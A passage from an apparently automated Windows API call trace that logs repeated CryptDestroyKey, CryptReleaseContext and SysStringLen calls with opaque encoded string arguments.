(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x5c61\xd16d\x26ca\x66d6\x4579\xf096\x762f\xd9fd") returned 0x30 [0135.731] CryptDestroyKey (hKey=0x8e84fb8) returned 1 [0135.731] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0135.731] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0135.731] CryptDestroyKey (hKey=0x8e84978) returned 1 [0135.731] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0135.731] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0135.731] CryptDestroyKey (hKey=0x8e84b38) returned 1 [0135.731] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0135.731] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x1d84\x8692\xf107\x963a\xaf89\x58a7\x78f1\xa4ca\xc2af\x96f4\x8269\x4f28\xcaad\x18e8\x48e0\xfea7") returned 0x30 [0135.732] CryptDestroyKey (hKey=0x8e84bf8) returned 1 [0135.732] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0135.732] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0135.732] CryptDestroyKey (hKey=0x8e84c38) returned 1 [0135.732] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0135.732] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x5c61\xd16d\x26ca\x66d6\x4579\xf096\x762f\xd9fd") returned 0x30 [0135.732] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0135.732] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0135.732] CryptDestroyKey (hKey=0x8e84f78) returned 1 [0135.732] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0135.732] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0135.733] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6\x35dd\x3009\x2e24\xb2ea\x14d2\x6d73\xee5c\xbe82\x7792\x814e\xd7fe\xd596\x731e\x3d9f\x740b\x8fb4\xb404\xeac6\xc07a\x9ea4\xd85d\xb88e\x1725\xa5ff\x76f\x30a3\xbf37\xdc30\x53c1\xe086\xdf97\x53e6\x9fa4\x5142\x7488\xebbe\xc150\x54dc\x6fd9\x4cd9") returned 0x30 [0135.733] CryptDestroyKey (hKey=0x8e85138) returned 1 [0135.733] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0135.733] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0135.733] CryptDestroyKey (hKey=0x8e84df8) returned 1 [0135.733] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0135.733] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0135.733] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0135.733] CryptDestroyKey (hKey=0x8e849b8) returned 1 [0135.733] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0135.733] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0135.733] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\x899\x8810\xdb53\x6455\x695e\x497a\xd532\xec5a\x1860\x5e95\x21f\x9a22\xa34a\x5fb5\x9ed3\x4999") returned 0x30 [0136.028] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0136.028] CryptDestroyKey (hKey=0x8e84978) returned 1 [0136.028] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0136.028] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x5c61\xd16d\x26ca\x66d6\x4579\xf096\x762f\xd9fd") returned 0x30 [0136.028] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0136.029] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0136.029] CryptDestroyKey (hKey=0x8e84c38) returned 1 [0136.029] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0136.029] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0136.029] CryptDestroyKey (hKey=0x8e84c78) returned 1 [0136.029] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0136.029] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x5c61\xd16d\x26ca\x66d6\x4579\xf096\x762f\xd9fd") returned 0x30 [0136.029] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\xba38\x1cf8\x141c\x5fe4\xe77a\x6a28\x98cc\xdf5\x177f\xd551\xfca4\x8918\x6716\x5a2\xa081\x4f73") returned 0x30 [0136.029] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\xa31f\xabad\xaa6c\x7538\x9f7e\x8a7f\x5c3e\xca51\x7817\xef3e\xf8fe\xd3c2\x970d\x9bab\x7f22\x670b") returned 0x30 [0136.030] CryptDestroyKey (hKey=0x8e849b8) returned 1 [0136.030] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0136.030] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0136.030] CryptDestroyKey (hKey=0x8e84bf8) returned 1 [0136.030] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0136.030] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0136.030] CryptDestroyKey (hKey=0x8e84df8) returned 1 [0136.030] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0136.030] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0136.030] CryptDestroyKey (hKey=0x8e84ff8) returned 1 [0136.030] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0136.030] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0136.031] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x4e58\x11fb\x8d20\xd6c2\x3e21\xf0f6\x1ca8\xa302\x7cc1\x5796\xd27a\x9b48\x3d9\xcf06\x1f3e\x59a7") returned 0x30 [0136.031] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0136.031] CryptDestroyKey (hKey=0x8e84f78) returned 1 [0136.031] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0136.031] CryptDestroyKey (hKey=0x8e84b78) returned 1 [0136.031] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0136.031] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0136.441] CryptDestroyKey (hKey=0x8e850f8) returned 1 [0136.441] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0136.441] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x5026\x3c41\xf624\x832\xaf51\x28d5\xbe94\x71e4\xcc6b\xd0d2\x1c0\x9f96\x9b71\xa960\x382d\xe47f") returned 0x30 [0136.441] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0136.441] CryptDestroyKey (hKey=0x8e84b78) returned 1 [0136.441] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0136.441] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0136.441] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0136.441] CryptDestroyKey (hKey=0x8e84fb8) returned 1 [0136.441] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0136.442] CryptDestroyKey (hKey=0x8e84db8) returned 1 [0136.442] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0136.442] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0136.442] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0136.442] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\x363c\xad56\xe14d\xae15\x9b41\x4a89\x462d\xce47\x3c04\x9e34\x7b89\xf8a3\xa0cd\xe50e\x6cd2\x3b66") returned 0x30 [0136.442] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0136.442] CryptDestroyKey (hKey=0x8e84f78) returned 1 [0136.442] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0136.442] CryptDestroyKey (hKey=0x8e85138) returned 1 [0136.442] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0136.442] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0136.442] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0136.442] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x5c61\xd16d\x26ca\x66d6\x4579\xf096\x762f\xd9fd") returned 0x30 [0136.443] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x5c61\xd16d\x26ca\x66d6\x4579\xf096\x762f\xd9fd") returned 0x30 [0136.443] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\xfb56\x4146\xddc4\xc234\x2892\xe809\xc779\x7209\x88d9\xc606\xb24\x98ab\x301f\xed37\xcbd3\x3561") returned 0x30 [0136.443] CryptDestroyKey (hKey=0x8e849b8) returned 1 [0136.443] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0136.443] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0136.443] CryptDestroyKey (hKey=0x8e84df8) returned 1 [0136.443] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0136.443] CryptDestroyKey (hKey=0x8e849f8) returned 1 [0136.443] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0136.443] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x5c61\xd16d\x26ca\x66d6\x4579\xf096\x762f\xd9fd") returned 0x30 [0136.737] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0136.737] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x5c61\xd16d\x26ca\x66d6\x4579\xf096\x762f\xd9fd") returned 0x30 [0136.737] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0136.737] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0136.738] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\xc9e3\x336a\x655f\x24cd\x4f92\x267c\x8a51\x9ff9\x49af\x386f\xc0b8\x814a\xa543\xaa12\x8dff\x1876") returned 0x30 [0136.738] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\x9f6b\xf7be\x8b36\xd388\x1a03\x92f6\xf039\x263a\xc958\x6107\x3c36\xb8f5\x2812\xcaf1\x965e\xd195") returned 0x30 [0136.738] CryptDestroyKey (hKey=0x8e84b38) returned 1 [0136.738] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0136.738] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0136.738] CryptDestroyKey (hKey=0x8e84fb8) returned 1 [0136.739] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0136.739] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0136.739] CryptDestroyKey (hKey=0x8e84bb8) returned 1 [0136.739] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0136.739] CryptDestroyKey (hKey=0x8e84df8) returned 1 [0136.739] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0136.739] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0136.739] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0136.739] CryptDestroyKey (hKey=0x8e84a78) returned 1 [0136.739] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0136.740] CryptDestroyKey (hKey=0x8e84f78) returned 1 [0136.740] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0136.740] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0136.740] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x27b5\xde36\x9e6b\x7d2a\x72d3\x9c3e\x504f\x1de0\x7a1\xd295\x1176\x2b51\xe05f\xfe77\x7126\xfaf1") returned 0x30 [0136.740] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0136.740] CryptDestroyKey (hKey=0x8e85138) returned 1 [0136.740] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0136.740] CryptDestroyKey (hKey=0x8e84bf8) returned 1 [0136.740] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0136.740] CryptDestroyKey (hKey=0x8e84c38) returned 1 [0136.740] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0136.740] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0136.740] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x5c61\xd16d\x26ca\x66d6\x4579\xf096\x762f\xd9fd") returned 0x30 [0137.076] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0137.077] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0137.077] CryptDestroyKey (hKey=0x8e84978) returned 1 [0137.077] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0137.077] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x5c61\xd16d\x26ca\x66d6\x4579\xf096\x762f\xd9fd") returned 0x30 [0137.077] CryptDestroyKey (hKey=0x8e84df8) returned 1 [0137.077] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0137.077] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0137.077] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0137.077] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\xc687\x9759\xa404\x69e2\x8d4e\xe81d\xbcac\x39b2\xd44a\x7dee\xbd9f\x99a8\x9707\x8fdf\x22f4\xf81a") returned 0x30 [0137.077] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x36cf\x431c\x1d79\x6382\x1afa\xfaae\x8fa\xe15f\x973f\x46d6\x6c76\x773a\xc8c8\xebb\x370e\x6899") returned 0x30 [0137.078] CryptDestroyKey (hKey=0x8e849f8) returned 1 [0137.078] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0137.078] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0137.078] CryptDestroyKey (hKey=0x8e84b38) returned 1 [0137.078] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0137.078] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0137.078] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\xac08\xd6c6\x1bf6\x3069\xb466\xf3a5\xd9fa\x92e3\xe716\x6d48\xf81e\xfd8e\x6e14\x439d\x53c9\x735d") returned 0x30 [0137.078] CryptDestroyKey (hKey=0x8e84bf8) returned 1 [0137.078] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0137.078] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0137.078] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0137.078] CryptDestroyKey (hKey=0x8e84f78) returned 1 [0137.079] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0137.079] CryptDestroyKey (hKey=0x8e84b78) returned 1 [0137.079] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0137.079] CryptDestroyKey (hKey=0x8e850f8) returned 1 [0137.079] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0137.079] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0137.079] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0137.079] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0137.079] CryptDestroyKey (hKey=0x8e84c38) returned 1 [0137.079] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0137.079] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0137.465] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xf2e7\x40e4\xa64c\x982\x7ce8\xda56\xfb23\xe915\x3bbf\x9370\x28e8\x189c\x9c07\x14cf\xbf62\xcbf6") returned 0x30 [0137.465] CryptDestroyKey (hKey=0x8e84b38) returned 1 [0137.465] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0137.465] CryptDestroyKey (hKey=0x8e84d38) returned 1 [0137.465] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0137.465] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0137.465] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0137.466] CryptDestroyKey (hKey=0x8e84978) returned 1 [0137.466] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0137.466] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0137.466] CryptDestroyKey (hKey=0x8e84f78) returned 1 [0137.466] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0137.466] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0137.466] CryptDestroyKey (hKey=0x8e84cf8) returned 1 [0137.466] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0137.466] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0137.466] CryptDestroyKey (hKey=0x8e84ff8) returned 1 [0137.467] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0137.467] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0137.467] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x69e9\x538e\x5b3e\xf82b\xacdc\x5761\x1a3c\x6cdf") returned 0x30 [0137.467] CryptDestroyKey (hKey=0x8e84bb8) returned 1 [0137.467] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0137.467] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0137.467] CryptDestroyKey (hKey=0x8e849b8) returned 1 [0137.467] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0137.467] CryptDestroyKey (hKey=0x8e84df8) returned 1 [0137.467] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0137.467] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0137.467] CryptDestroyKey (hKey=0x8e850f8) returned 1 [0137.467] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0137.468] SysStringLen 